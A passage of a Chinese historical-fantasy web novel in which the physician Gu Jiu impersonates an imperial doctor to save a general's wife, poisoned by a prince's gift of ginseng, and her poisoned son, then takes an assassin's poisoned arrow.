“……听闻贤侄病情反复,孤心甚忧。此乃百年参王,有固本培元之奇效,弟妹务必,亲手为贤侄熬制服下。明日,孤会亲自登门探望。”
张府,内院。
那支由大皇子送来的“百年参王”,静静地躺在桌上。
李氏呆呆地看着那封信和那支价值连城的“山参”,只觉得手脚冰凉。
她不是傻子。
她当然知道,这不是恩赐。
大皇子李裕,在用这种方式告诉她:你和你儿子的一举一动,都在我的监视下。你们的命,也都在我的股掌之间。
至于那个所谓的“民间神医”,那个能拿出“雪山玫瑰”的人,在大皇子看来,不过是一个跳梁小丑罢了。
“怎么办……怎么办……”李氏失魂落魄地在房间里来回踱步,心中早已乱成了一团麻。
用沈琉璃的药?等于是公然地背叛了大皇子,以他睚眦必报的性格,一旦知晓,整个张家都将万劫不复!
可若是用了大皇子的“参王”,结果是好是坏……
她不敢再想下去。
……
揽月楼,顶层雅间。
当陆风将他安插在张府的眼线,所观察到的一切信息,汇报给沈琉璃的时候,整个密室的气氛都降到了冰点。
“完了。”
第一个开口的,竟是向来玩世不恭的顾九。他难得地没有喝酒,那双总是带着几分醉意的桃花眼里,此刻却是一片清明。
“大皇子这一招,太毒了。”他缓缓说道,“‘雪山寒蝉’之毒,乃是天下至寒之物。而这‘百年参王’,则是至阳大补之物。对于常人而言,此乃续命仙丹,可对于一个身中寒毒的孩童来说,这无异于一碗最猛烈的鸩酒!”
春桃在一旁听得,早已是捂住了嘴,眼中充满了恐惧。
“好一个李裕!”君北玄在她脑中,发出一声怒吼,“他这不只是在试探!他是在嫁祸!”
“他根本不在乎那个孩子是死是活!他送上那支‘参王’,就是一招最恶毒的阳谋!”
“你想想,如果李氏用了我们的药,而孩子没救回来。那李裕,便可以将‘用毒药害死将军之子’的罪名,扣死在你的头上!”
“他要的,不是张启年的忠诚,他要的,是张启年再也没有任何后顾之忧!”
“不仅如此,”沈琉璃的声音,冰冷得可怕,“他还要借此,来摧毁我的信誉。明日,他登门探望,看到的必然是一个服用了‘参王’后,病情加重、甚至暴毙的孩童。到那时,他便可将所有的罪责,都推到我这个‘江湖骗子’头上!他要让全天下的人都看看,不听他话的人是什么下场!”
一环扣一环,招招致命!这才是真正的阳谋!
“主公,”陆风的脸上,也露出了前所未有的凝重,“我们必须立刻行动!不能再等了!”
“没错!”君北玄的思维,快如闪电,“立刻执行备用计划!让陆风,今夜三更,亲率狼卫潜入张府,将那孩子给我抢出来!只要人在我们手上,我们就还有翻盘的机会!”
“不行!”沈琉璃,直接否决了他。
“王爷,你疯了吗?!”她在心里,毫不客气地反驳,“夜闯二品大员的府邸,抢夺其子?你这是想让张启年,明天一早,就带着京城的卫戍部队,来踏平我的揽月楼吗?!你这是在逼他站到我们的对立面!”
“那你说怎么办?!”君北玄暴跳如雷,“难道就眼睁睁地看着那个女人,屈服于大皇子,亲手毒死自己的儿子吗?!”
“她不会。”沈琉璃的回答,充满了笃定。
“为何?”
“因为你,还有陆将军,你们都是男人。”沈琉璃答道,“你们永远也无法理解,一个母亲在为了自己孩子时,能爆发出何等强大的力量。”
“她现在需要的,不是我们去抢人。她需要的,是一个能让她下定决心的理由。”
她转头,对春桃,下达了一道让所有人都意想不到的命令。
“春桃。”
“奴……奴婢在!”
“你去一趟库房,”沈琉璃看着她,“把我们的‘玉容膏’取一盒来。”
“啊?”春桃一愣,不明白为何此时要取玉容膏。
她没有回答春桃,只是写下了一张字条。
“——赠大皇子府,云侧妃。”
她将这个纸条,交给了春桃。
“春桃,”她看着春桃,“你只需将玉容膏和这张字条,送到大皇子府的门房处即可。剩下的,什么都不用管。”
交待完春桃,她才抬起头,迎上了陆风的目光。
“主公,您为何要将‘玉容膏’送给大皇子的侧妃?”陆风终于,问出了所有人心中的疑问。
“这叫‘声东击西’。”
“这份送往他后院的‘玉容膏’,是我扔出去的‘烟雾弹’!”
“你们想,当他那位最受宠的妃子,收到了这份,来自我这个死对头的‘玉容膏’时,会发生什么?”
“他的正妃会怎么想?大皇子又会怎么想?他会怀疑,是我在拉拢他的爱妾,还是他的爱妾与我暗通款曲?”
“我用一件小小的礼物,搅乱他的后院,让他的精力至少有一部分,能转移到他的家事上!”
做完这一切,她又从书案上取过一张空白的字条,提笔在那张空白的字条上,写下了两行字。
“其一,以参汤灌之,令郎必死无疑。”
“其二,以玫瑰代之,令郎尚有一线生机。”
“——一个女人”
她将这张字条,放入了一个毫不起眼的木盒里。
“现在,把它送过去吧。”她将木盒交给了忠叔。
这个木盒里装的,是一张能李氏下定决心的投名状。
……
当夜,张府内灯火通明。
李氏在经历了数个时辰的煎熬后,终于做出了她的选择。
她颤抖着双手,将那支“百年参王”放入了药罐中,用文火慢慢地熬煮着。
消息,很快传回了大皇子府。
“殿下,”幕僚谄媚地笑道,“看来,那个张夫人还是识时务的,她选择了忠诚。”
“意料之中。”李裕的脸上,露出了满意的笑容。
然而,他们都不知道的是,就在一个时辰前,李氏收到了一个来自揽月楼的木盒。
盒子里,没有金银,没有珠宝,只有一张字条。
字条上,只有两行字和一个落款。
“其一,以参汤灌之,令郎,必死无疑。”
“其二,以玫瑰代之,令郎,尚有一线生机。”
“——一个女人”
她本对那“百年老山参”将信将疑,拿不定主意。
当她看到字条时,她心中所有的侥幸,都被一股冰冷的恐惧所取代。
她不知道自己为何会如此轻易地相信这张字条,或许,女人天生,就更相信女人吧。
子时,药,终于熬好了。
李氏屏退了所有下人,亲自将“毒药”端到了自己孩儿的床前。
她看着自己孩儿那张,早已毫无血色的小脸,眼中滚落下了两行清泪。
随即,她擦干眼泪,脸上露出了一个决绝的笑容。
她端起药碗,没有喂给自己的孩儿。
而是……一仰头,将那碗参汤,尽数灌进了自己的口中!
在她想来,这百年参王,自己最多也就是虚不受补,卧床休养几日罢了。
然而滚烫的液体,顺着她的喉咙,一路灼烧至胃里。那股霸道无比的药力,如同被点燃的火药,瞬间在她四肢百骸中炸开!
李氏只觉得自己的身体,仿佛变成了一座即将喷发的火山。血液在血管里疯狂地奔涌,皮肤以肉眼可见的速度迅速涨红!
“呃……”
一声压抑不住的痛苦呻吟,从她的齿缝间溢出。
一声压抑不住的痛苦呻吟,从她的齿缝间溢出。她猛地扔掉手中的瓷碗,双手死死地扼住自己的喉咙,整个人如同离了水的鱼,剧烈地抽搐起来!
……
与此同时,张府外,一处不起眼的民房屋顶。
陆风和他手下的一名狼卫,正如同两尊雕塑,一动不动地潜伏在黑暗之中,监视着张府内院的一举一动。
当他们看到李氏卧房的烛火,突然剧烈地摇晃起来,紧接着,便传出了凄厉的惨叫声时,陆风那张冷峻的脸上,露出了凝重的神情。
“统领,”身旁的狼卫,低声问道,“情况不对,要不要进去看看?”
“再等等。”陆风摇了摇头,声音如同绷紧的弓弦,“主公有令,不到万不得已,绝不能暴露。”
他知道,此刻的张府,早已被大皇子的人,围得如铁桶一般。他们一旦现身,便等于将自己置于了敌人的视野之下。
第37章 太医院院使“顾九”
揽月楼,顶层雅间。
沈琉璃正对着一盏孤灯,静静地等待着。
她不知道,自己这个充满了风险的计划,是否能成功。她也不知道,那位被逼到绝境的母亲,最终会做出什么样的选择。
“妇人之仁。”
君北玄的声音,在她脑中响起,“你将所有的希望,都寄托在一个女人身上。沈琉璃,本王不得不说,你是我见过最天真,也最愚蠢的赌徒。”
“或许吧。”沈琉璃没有反驳。
就在此时,雅间的门被“咚咚咚”地敲响。
“小姐!不好了!”春桃的声音,带着哭腔,从门外传来,“陆风将军那边,传来紧急消息!说是张夫人她出事了!”
沈琉璃的心,猛地一沉!
她立刻起身,打开房门。只见春桃早已是六神无主,而她身后,一名狼卫正单膝跪地,神情肃穆。
“主公!”那狼卫沉声汇报道,“李氏,在半个时辰前突然病发,症状极其诡异。如今,张府已乱作一团,四处请医,但所有的大夫,都被拦在了府外。大皇子府上,派了重兵,将整个张府,都封锁了!”
“什么?!”沈琉璃的脸色,瞬间变得惨白。
她怎么也没想到,大皇子李裕的手段,竟会如此狠毒!他不仅要杀人,还要将所有的生路都堵死!
“现在,怎么办?”君北玄的声音,也带上了凝重,“张夫人一死,我们所有的线索都将中断,你的‘攻心计’也将宣告失败。”
失败了?
不,不能失败!
沈琉璃的眼中,闪过了一抹决然。
她对着那名单膝跪地的狼卫,下达了指令:“立刻,带我去见顾九先生!”
……
乾国都城,一间充满了酒气和药材味的客房内。
当沈琉璃,将张夫人突然病危的消息,告知顾九时,他那双总是带着几分醉意的桃花眼,瞬间亮了。
“有意思,真是有意思!”他猛地从椅子上坐直了身体,将杯中酒一饮而尽,“一个身体康健的妇人,在喝了一碗参汤后,突然就病危了?”
“顾先生!”沈琉璃急切地打断了他,“她,还有救吗?!”
“救?”顾九嗤笑一声,他灌了一口酒,懒洋洋地说道,“沈大小姐,你是不是搞错了?第一,她不是我的病人。第二,张府现在是龙潭虎穴,小爷我可没兴趣,为了一个不相干的人去送死。”
“我出钱。”沈琉璃的回答,简单直接。
“钱?”顾九笑了,“小爷我,像是缺钱的人吗?”
“那你缺什么?”沈琉璃问道。
“缺少一个,能让我去冒杀头风险的理由。”顾九收起了那副玩世不恭的模样,轻声说道。
沈琉璃沉默了片刻,她知道,寻常的金钱,打动不了眼前这个男人。
而就在此时,顾九却笑了。
“其实,这个理由你已经给我了。”他缓缓说道,“只是,我需要跟你确认一下。”
“第一,”他缓缓开口,“你知道五年前,黑石关下百夫长中毒的事。这件事是军中机密,除了我,就只有一个人知道全部的细节。”
“第二,”他的目光,又瞥向了陆风,“陆风,这个脑子里除了王爷就塞不进第二样东西的石头,他会心甘情愿地听命于一个乾国的小丫头?”
他笑了,笑得有些自嘲,又有些了然:“所以,沈小姐别演了。你那套‘偶得古方’的鬼话,骗骗别人还行,想骗我,你还嫩了点。”
他收起笑容,一字一顿地说道:“想让我卖命可以,我的条件很简单。”
他指了指沈琉璃胸前的坠子:“等此事了了,让‘他’亲自出来,陪我下一盘棋。”
沈琉璃:“……”
君北玄:“……这个该死的酒鬼,还算有些脑子!”
还不等君北玄在她脑中反对,沈琉璃已经微笑着一锤定音。
“好,”她看着顾九,干脆利落地说道,“我替他,答应了。”
君北玄:“……谁让你答应了?!这个混蛋!本王……”
“成交!”顾九“啪”地一声,打了个响指,瞬间便从一个醉醺醺的酒鬼,变成了一个精神矍铄的“神医”。
他从自己的药箱里,取出了一套行头。
有能改变容貌的“人皮面具”,有能模仿各种声音的“变声竹管”,甚至还有一套乾国皇宫太医院院使的官服?
“你……你这是要……”沈琉璃看着他,目瞪口呆。
“嘘——”顾九将一根手指放在唇边,神秘一笑。
“救人嘛,总得有点仪式感。”
“……现在,就让小爷我,去会一会大皇子布下的那座‘铁桶阵’吧。”
春桃指着那套与宫中太医院院使一模一样的官服,结结巴巴地问道:“顾先生,您这是要假扮朝廷命官?这可是杀头的死罪啊!”
“死罪?”顾九嗤笑一声,他拿起那张薄如蝉翼的人皮面具,在灯火下仔细端详着,“小丫头,你懂什么?那是你们乾国人的死罪,关我这个大徽人什么事?”
他将人皮面具,往自己脸上一贴,转过头来时,已然变成了另一个人的模样。
“这世上,最危险的地方,往往也最安全。”他用一种苍老的声音,缓缓说道,“大皇子的人能防得住刺客,可他们防得住‘奉旨’而来的太医院院使吗?”
“可……可您没有圣旨啊!”
“谁说没有?”顾九神秘一笑,他指了指自己,“小爷我这张脸,这身行头,就是最好的圣旨。”
一旁的陆风,看着他这副胸有成竹的模样,那双总是紧锁的眉头,皱得更深了。
“此计,太过冒险。”他沉声说道,提出了反对意见,“张府内外,皆是大皇子的人。你孤身一人前往,无异于羊入虎口。依我之见,还是该由狼卫在府外制造混乱,再由我,亲自护送你从侧翼潜入。”
“然后呢?”顾九瞥了他一眼,毫不客气地反驳道,“然后,我们两个,就被人家当成刺客,瓮中捉鳖?陆大统领,论杀人,你比我专业,但论‘骗人’,你还差得远呢。”
“你!”陆风被他噎得,脸色一滞。
“好了,二位将军。”沈琉璃及时地打断了这场“内讧”。
她看着顾九,眼神前所未有的认真:“顾先生,此行你有几成把握?”
“若只有我一人,”顾九收起了那副玩世不恭的模样,“只有三成。”
“那另外七成呢?”
“另外七成,”顾九微微一笑,“就要看,沈大小姐能为我准备出一副多大的‘仪仗’了。”
……
半个时辰后,张府门前,那条原本还算安静的街道,忽然变得喧嚣起来。
数十名由忠叔亲自挑选的下人,伪装成普通的百姓,开始有意无意地向着张府的大门聚集。
他们口中,都在议论着同一件事。
“哎,你们听说了吗?张将军府上出大事了!”
“谁不知道啊!听说,张夫人昨夜突然就病倒了,请了满城的大夫,都束手无策呢!”
“可不是嘛!我那在安远侯府当差的表姐说,张夫人,怕是中邪了!”
“我也听说了!据说,是冲撞了什么不干净的东西!唉,真是可怜,听说张将军的独子也……”
那些负责看守的侍卫们,听着这些议论,脸上虽然毫无表情,心中却也不由得多了几分烦躁与不安。
就在此时,挂着太医院院使牌匾的马车,在两名药童的引领下,缓缓地驶了过来。
马车停稳。
车帘掀开。
一个身着四品太医院院使官服,头发花白,眼神却异常矍铄的老者,缓缓地走了下来。
他,正是“神医”顾九!
此刻的顾九,贴上了人皮面具,调整了声线,一举一动,都与那位真正的张院使,一模一样!
“何人在此喧哗?!”顾九一开口,便是官威十足的呵斥,“老夫奉圣上口谕,前来为张夫人诊病!”
他这番话,真假难辨,却霸气十足!
那些侍卫的头领,看着眼前这位,与传说中的张院使,一般无二的“高人”,心中,已经信了七分。
可他的职责,却让他不得不硬着头皮上前一步。
“张……张院使。”他躬身行礼,艰难地说道,“非是小的们有意阻拦。只是将军有令,府中已下了禁令,任何人,不得……”
“放肆!”顾九不等他说完,便厉声打断,“张将军的命令大,还是陛下的口谕大?!”
“这……”
“还是说,”顾九的眼中,寒光一闪,声音变得无比森冷,“你们是想眼睁睁地看着张夫人,病死在府中,好向你们的主子交差啊?!”
这句话,狠狠地砸在了那名头领的心上!
他知道,自己已经没有选择了。
阻拦一位“奉旨”前来的太医院院使,导致二品大员的夫人“病故”。这个责任,别说是他,便是他背后的主子也担待不起!
“……不敢。”最终,他从牙缝里挤出了这两个字。
“开门!”他对着身后,嘶声吼道。
张府那扇沉重的大门,终于缓缓地打开了。
顾九没有再看这些侍卫一眼,他只是整理了一下自己的衣冠,然后,在一众“百姓”敬佩的目光中,迈着四平八稳的步伐,缓缓地走入了那座,早已被布下了天罗地网的龙潭虎穴。
第38章 神仙,难救
张府那扇紧闭了数日的沉重府门,在顾九目光的注视下,缓缓地打开了。
门内,是另一番天地。
与门外的喧嚣不同,府邸内是一片死寂。
数十名身着劲装的护卫分列两旁,他们虽然穿着张府家丁的服饰,但那股从骨子里透出来的铁血煞气,却昭示着他们不一般的身份。
他们的目光,齐刷刷地聚焦在了顾九这个不速之客的身上。
“哼,好大的阵仗。”顾九心中冷笑,脸上却是波澜不惊的倨傲。
他背着手,迈着四平八稳的步伐,目不斜视地走入了这座,即将上演生死大戏的修罗场。
那名负责开门的护卫头子,快步跟了上来,试探的问道:“张院使大驾光临,有失远迎。只是不知院使大人您,是如何得知我家夫人病重的?又是奉了何人的‘口谕’啊?”
他在“口谕”二字上,加重了语气。
“怎么?”顾九停下脚步,转过头瞥了他一眼,“你是在质疑老夫吗?还是说,你在质疑陛下的旨意?”
他没有直接回答,而是用一个反问,将皮球狠狠地踢了回去。
那头领被他噎得脸色一滞,不敢再多言,只能躬着身子在前面引路。
……
揽月楼,顶层雅间。
沈琉璃正听着从张府外围,传回来的实时“战报”。
“……主公,顾先生已经成功进入张府。但府内的守卫,比我们预想的还要多上一倍,而且个个都是见过血的好手,我担心……”
“担心什么?”君北玄的声音,带着不屑,“担心那个酒鬼,会失手吗?”
沈琉璃没有理会君北玄,而是对着那名单膝跪地的狼卫,轻声问道,“你觉得,顾先生像个医生吗?”
那狼卫一愣,想了想,还是如实答道:“回主公,不像。他更像个,去砸场子的大爷。”
沈琉璃闻言,忍不住笑了。
“这就对了。”她在心里,对君北玄说道,“王爷,您还不明白吗?顾先生此行,扮演的从来都不是一个‘救死扶伤’的医者。他扮演的是一个‘手握皇权、背景通天’,任何人都得罪不起的钦差大臣。”
“一个畏畏缩缩、小心翼翼的大夫,只会引人怀疑。而一个比他们还嚣张,比他们还霸道的‘院使’,反而能让他们心生敬畏、不敢造次。”
……
张府,内院卧房。
李氏,正躺在床榻上,气若游丝。
她的身体,在极端痛苦中,反复煎熬,早已是进气少,出气多。她的脸上,时而浮现出不正常的潮红,时而又变得青紫一片,看起来诡异而又恐怖。
几名丫鬟跪在一旁,束手无策,瑟瑟发抖。
顾九一踏入房间,便皱起了眉头。他环顾四周,用一种极其挑剔的目光,审视着房间里的一切。
“胡闹!”他忽然厉声喝道,指着窗边一盆正在燃烧的熏香,“此等虎狼之症,最忌讳的,便是燥热之物!你们竟还敢在此处点燃‘安息香’?是嫌她死得不够快吗?!”
他这番话说得专业,不容置疑!
在场的所有人,都被他这副气势给镇住了,连忙将那盆熏香给熄灭了。
顾九这才满意地点了点头,他走到榻前,居高临下地看了一眼李氏。
随即,他伸出两根手指,在她的眉心、胸口、丹田等几处大穴上,飞快地点了几下。然后,又掰开她的眼皮看了看,最后,才极其不情愿地伸出手,搭在了她的手腕上。
整个过程,他一言不发,脸上的表情越来越凝重。
守在一旁的护卫,紧张得连呼吸都快要停止了。
许久,顾九才缓缓地,收回了手。
“奇怪……”他喃喃自语,像是在问自己,又像是在问在场的每一个人,“夫人的脉象极其混乱,时而如万马奔腾,阳火鼎盛,时而又如细丝游离,气若悬丝。两种截然相反的脉象,竟同时出现在一人体内。老夫行医一生,闻所未闻。”
他这番话,让在场所有人的心都沉入了谷底。
那名护卫头子心中暗喜,但脸上却故作焦急:“院使大人,您可有法子?我家将军若是回来,看到夫人她……”
顾九没有理他,而是审视着房间里的每一个细节。
他的目光,扫过床头的熏香,扫过桌上的茶水,最终定格在了地上那只,被打碎的药碗上。
他走过去,捻起一块沾染了药汁的瓷片,凑到鼻尖轻轻一嗅。
随即,他的脸色,猛地一变!
“……霸道!好霸道的药力!”他失声惊呼,“这是百年份的‘参王’!你们竟敢给一个身体虚弱至此的病人,用上如此虎狼之药?!”
“是……是一位贵人,心疼夫人的身体,特意送来为夫人补身子的!”一名丫鬟颤抖着回答。
“补身子?”顾九质疑道,“这是补身子?这是在催命!”
他站起身,目光如电,死死地盯着李氏身边的老嬷嬷。
“老夫问你!”他的声音,如同惊雷,“夫人这几日,除了这碗参汤,可还在服用别的什么汤药?!”
“有……有的……”那老嬷嬷被他吓得,当场就跪了下来,结结巴巴地说道,“夫人她近日心力交瘁,府医为她开了安神助眠的‘静心汤’,每日都服用着……”
“静心汤……”顾九的脸上,露出了又惊又怒的神情,“糊涂!简直是糊涂至极!静心汤里,是不是有一味‘远志’?!”
“是……是的……”
“我明白了。”顾九仰天长叹,“我全都明白了。”
他转过身,对着护卫头子说道:
“那‘静心汤’中的‘远志’,与这‘百年参王’的霸道阳火,药性相冲!”
“此二物,单独服用,皆是良药。可一旦同时进入体内,便会药性逆转,化作穿肠刮骨的剧毒!”
“神仙,难救!”
当顾九这四个字,在卧房内缓缓落下时,那名一直强作镇定的护卫头子,心中,竟长长地舒了一口气。
**好。
**,才干净。
他接到的死命令是:张启年的夫人或者孩子,今夜,必须死一个。
如今,这个女人自己喝下了那碗“参汤”,只要她一断气,他便可立刻将所有罪责,都推到那个在背后故弄玄虚的沈琉璃头上。
届时,便是天王老子来了,也休想翻案。
然而,就在他以为,自己已经稳操胜券的时,那个看起来玩世不恭的“神医”顾九,却又慢悠悠地说出了后半句话。
“不过…
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…”他打了个哈欠,懒洋洋地说道,“正常的法子,确实是神仙难救,但老夫这里,恰好有一种不那么‘正常’的法子。”
什么?!
那护卫头子的瞳孔,骤然收缩!
“你……你说什么?!”他不敢置信地问道。
“我说,”顾九瞥了他一眼,“夫人体内的两种药力,如同两军交战,正在疯狂地撕扯她的经脉!如今,她心脉已现衰竭之兆,不出一个时辰便油尽灯枯。”
“想要救她,只有一个办法。”
他顿了顿,缓缓吐出四个字:
“——以毒,攻毒!”
“以毒攻毒?”
“没错。”顾九点了点头,“我需要,用‘金针渡穴’之法,封住她周身大穴,将两股暴走的药力,暂时都压制回她的丹田。然后,再以一味至纯至烈的引药,强行将那股霸道的参王阳火,尽数引入她早已受损的心脉!”
“此法,名为‘置之死地而后生’!”顾九的声音带着自信,“要么,她的心脉承受不住这股霸道的药力,当场爆裂而亡;要么她便能借着这股力量,冲破体内所有的淤塞,脱胎换骨,重获新生!”
他这番话说得,玄之又玄,听得在场所有人都如同在听天书。
可偏偏,他那副强大的气场,又让人不得不信!
“你……你胡说!”那个护卫头子第一个,厉声反驳,“此等闻所未闻的邪术,你分明是想拿夫人的性命,做实验!”
“实验?”顾九笑了,他看着那头领,眼神变得无比森冷,“你是在质疑老夫的医术?还是说,你根本就不希望夫人活下去?”
这句话,如同一柄重锤,狠狠地砸在了那名护卫的心上!
他知道,自己已经没有退路了。
他接到的命令,是让李氏“病故”。可现在,一个“奉旨”前来的“神医”就站在这里,他若是再敢阻拦,那便要在所有人的面前,暴露自己的真实面目!
“不敢。”最终,他从牙缝里挤出了这两个字。
“那就好。”顾九满意地点了点头,“现在,老夫要开始施救了。此法,凶险异常,容不得半点打扰。所有人,都给老夫退到院子外面去!没有我的允许,任何人不得踏入此房间半步!”
他这番话,充满了威严。
那护卫的脸色,阴晴不定。他知道,自己一旦退出去,屋子里发生的一切,就将脱离他的掌控。
可他却找不到任何一个,可以留下来的理由。
最终,他也只能心不甘情不愿地退到了院子中,将整个卧房围得水泄不通。
房门,被“吱呀”一声,从里面关上了。
……
揽月楼,顶层密室。
沈琉璃正听着陆风派人,从张府外围传回来的实时“战报”。
“……主公,顾先生已经成功地将所有人都清出了卧房。现在,房内应该只剩下他和李氏母子二人了。”
“这个酒鬼,演得倒还挺像。”君北玄在她脑中,冷哼一声,“只是,他真的有把握吗?那个‘以毒攻毒’的法子,本王怎么从未听说过?”
“我也不知道。”沈琉璃摇了摇头,“不过,我相信他,就像我相信你一样。”
君北玄的灵魂,没来由地微微一颤。
第39章 顾九中的毒
张府,卧房内。
当房门被关上的时候,顾九脸上那副“高人”的表情,瞬间垮掉。
他“噗通”一声,瘫坐在椅子上,拿起自己的酒葫芦,就“咕咚咕咚”地猛灌了几口,然后,长长地舒了一口气。
“妈呀……吓死小爷了。”他拍着胸口,心有余悸地说道,“刚才那家伙的眼神,跟要**似的。幸亏小爷我机智过人,把他给唬住了。”
他看着榻上那个不断抽搐的女人,又看了看床榻上的孩子,脸上露出了几分凝重。
他先是从自己的药箱里,取出了一个针盒。打开后,金针在灯火下闪烁着金色的光芒!
他捻起一根细如牛毛的金针,看准了李氏头顶的“百会穴”,精准地刺了下去!
紧接着,第二根,第三根……
不过短短十几个呼吸,李氏的周身要穴,便**满了九九八十一根金针!
顾九早已是满头大汗,他双手凌空,以内力御针,口中暴喝一声:“开!”
只见那些金针的尾部,竟同时散发出淡淡的红光!一股股灼热的白色蒸汽,从李氏的毛孔疯狂地冒了出来!
她体内由“百年参王”所激发的霸道阳火,竟被用这种神乎其技的方式,强行地从经脉中引导了出来!
“噗——!”
终于,榻上的李氏,猛地喷出了一口黑血!
她的皮肤,也渐渐地恢复了正常的颜色。那急促而滚烫的呼吸,也平稳了下来。
顾九长长地舒了一口气,只觉得后背早已被冷汗湿透。张夫人的命,算是从鬼门关前,被他给硬生生地拽了回来。
“好了,”他直起身,用袖子擦了擦额头的汗,对着一直在门外等候的老嬷嬷吩咐道,“去准备一些温和的流食,夫人她元气大伤,但已无性命之忧,个把时辰后,便会醒转。”
“是……是!多谢神医!多谢神医救命之恩!”老嬷嬷激动得语无伦次。
顾九没有再理她,而是转过身,将目光投向了床榻上那个毫无生气的孩子。
他走到榻前,从怀里,小心翼翼地取出了装着“雪山玫瑰”的瓶子,倒出来了一些。然后将其中一小撮,用温水化开,撬开孩子的嘴,仔细地喂了下去。
这至阳的神物,是他接下来所有行动的保障,能暂时护住孩子那早已被寒毒侵蚀的心脉。
做完这一切,他从药箱的夹层里,取出了一个玄铁打造的手术包。里面是一排排,大小不一的手术刀!
他取过一柄最细的的手术刀,在烛火上仔细地烤了片刻。然后,他走到那个孩童的床前,深吸一口气。
他那双总是带着几分醉意的桃花眼,在这一刻变得无比的专注!
他下刀了。
稳,准,狠!
没有半分犹豫!
他竟是用那柄薄如蝉翼的刀,在孩子脖颈后方的青色“胎记”上,轻轻地划开了一道极其微小的口子!
紧接着,令人头皮发麻的一幕出现了……
一只通体雪白,只有米粒大小的虫子,竟从那伤口中,缓缓地爬了出来!
正是那“雪山寒蝉”的母蛊!
而就在母蛊暴露在空气中的瞬间,榻上那个原本昏迷的孩童,竟猛地抽搐了一下!他那冰冷的身体,竟开始迅速地回温!
有救了!
顾九的心中,一阵狂喜!然而,就在他准备,将那只母蛊夹起来的时候……
“砰!”
一声巨响,卧房的窗户,竟被人从外面给硬生生地撞碎了!
一个黑衣蒙面的身影,如同猎豹一般,从窗外一跃而入!
他的手中,握着一柄短**,**箭上闪烁着幽蓝色的光芒。
他手中的短**,早已对准了床榻上那个刚刚恢复了一点生机的孩童!
这一切,都发生在电光石火之间!
快!太快了!
快到连守在门外的陆风,都来不及做出任何反应!
然而,就在那支**,离弦而出的一刹那……
顾九,动了。
这个玩世不恭的酒鬼神医,没有躲、没有逃,几乎是凭着一个医者的本能,猛地向前一扑,用自己的身体,严严实实地护在了那个七岁孩童的身前!
“噗嗤——!”
利箭入肉的声音,在寂静的房间里,显得格外清晰。
那支淬了剧毒的**箭,深深地扎进了顾九的左肩。黑色的毒血,瞬间便顺着伤口,浸透了他的官袍。
这一切都发生在电光石火之间!
快!太快了!
快到那个刚刚从窗外跃入的刺客,都错愕了半刻。他显然没有料到,这个看起来弱不禁风的“老太医”,竟会用自己的身体去保护一个孩童。
他的任务是床榻上的孩子,可现在,这个突然冒出来的“老太医”,彻底打乱了他的计划。
刺客的眼中闪过一瞬间的犹豫,但职业的素养让他立刻做出了正确决定。他不再有丝毫迟疑,手腕一翻,另一支上弦的**箭,再次对准了床榻的方向!
然而,这一次他没有机会了。
“找死!”
一声怒吼,在刺客的身后响起!
是陆风!
他的身影,不知何时已经撞碎了房门,带着无边的煞气直扑而来!
刺客心中大骇,他能感觉到身后的杀气,那是只有在尸山血海中才能磨炼出的恐怖气场。他不再迟疑,猛地一蹬地面,身形向后急退,同时反手一扬,数枚闪烁着寒光的铁蒺藜朝着陆风的面门激射而去!
“雕虫小技!”
陆风不闪不避,手中的战刀在空中划出一道完美的圆弧,只听“叮叮叮当”一阵脆响,所有的铁蒺藜竟被他尽数磕飞!
而他本人,则借着这股反震之力,速度不减反增,瞬间便欺近到了刺客的身前!
一刀,横斩!
简单,直接,没有任何花哨。
可就是这简单的一刀,却封**刺客所有的退路。
刺客眼中闪过绝望,他知道自己今天遇到了强敌。情急之下,他竟是猛地一咬舌尖,喷出一口血雾,同时将手中的短**狠狠地朝着陆风砸了过去!
趁着陆风挥刀格挡的瞬间,他整个人竟硬生生地从刀锋下闪了过去,随即撞破另一扇窗户,头也不回地遁入了沉沉的夜色中。
“想走?!”
陆风怒喝一声,正要追击,一个虚弱却又急切的声音,从他身后传来。
“别……别追了……”
是顾九。
他
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此刻正半跪在地上,脸色惨白,左肩的伤口处,黑色的血液正不断地向外渗透。他用自己的右手,死死地按住伤口,额头上早已是冷汗淋漓。
“先……先救人……”他咬着牙,从齿缝间挤出了这几个字。
陆风看着他那张痛苦的脸,最终还是放弃了追击。顾九说得对,现在救人才是第一要务。
他快步上前,撕开自己的衣摆,用最快的速度为他暂时包扎止血。而此时,听到动静的护卫头子,也带着十几名护卫冲了进来。
当他们看到卧房内狼藉的景象,所有人的脸色都变了!
刺杀!
竟真的有刺客,混了进来!而且,受伤的还是这位手握“圣上口谕”的太医院院使!
“封锁全府!一只苍蝇都不许放出去!”护卫头子几乎是下意识地吼出了这句话,随即,他快步走到顾九面前,脸上挤出了一个比哭还难看的笑容。
“院……院使大人,您没事吧?”
“你觉得我像是没事的样子吗?”顾九瞥了他一眼,有气无力地说道,“本院使奉旨前来诊病,却在你们的地盘上,险些被人一箭穿心。你说,这件事要是传到陛下的耳朵里,他老人家会怎么想?是会觉得刺客太大胆,还是会觉得你们这群护卫,都是一群酒囊饭袋?”
“这……这……”护卫头子被他这番话,噎得冷汗直流。
他知道,事情大条了。
李氏或者那个孩子**,他们可以栽赃嫁祸给其他人。可这位“院使”若是死在这里,那性质就完全变了!
这等同于当朝一品大员在自己的辖区内**,他背后的主子,将第一个被推上风口浪尖!
“大人息怒!是小的们护卫不周,罪该万死!”他“噗通”一声跪了下来。
“行了行了,现在说这些有什么用?”顾九不耐烦地摆了摆手,“此地不是疗伤的地方,我需要立刻回城。耽误了时辰,老夫这条命要是交代在这里,你们谁也担待不起!”
他说着,便在陆风的搀扶下,挣扎着要起身离开。
“不可!”护卫头子立刻上前,拦住了他们的去路,“院使大人,您身受重伤,不宜移动。小的们已经派人去请城中最好的大夫了,您就在此地安心疗伤,我们定会护您周全!”
开什么玩笑?放他走?
他要是就这么走了,谁知道他回到宫里会怎么跟陛下告状?只有将他控制在这里,才能将风险降到最低!
“你的意思是,要软禁本官?”顾九的眼睛,眯了起来。
“不敢!小的不敢!”护卫头子连连磕头,“只是,小的们也是奉命行事啊!”
“奉命行事?”陆风冰冷的声音,终于响了起来。
“谁的命令,比陛下的口谕还大?还是说,你们背后的主子,才是这场刺杀的主谋?”
这句话,如同一柄重锤,狠狠地砸在了护卫头子的心上!
他知道自己已经没有选择的余地了,阻拦一位刚刚**的太医院院。如果最后这位太医**,这个责任,别说是他,谁也担待不起!
“……不敢。”最终,他从牙缝里挤出了这两个字。
“开门!放行!”他对着身后,嘶声吼道。
第40章 火蟾蜍的下落
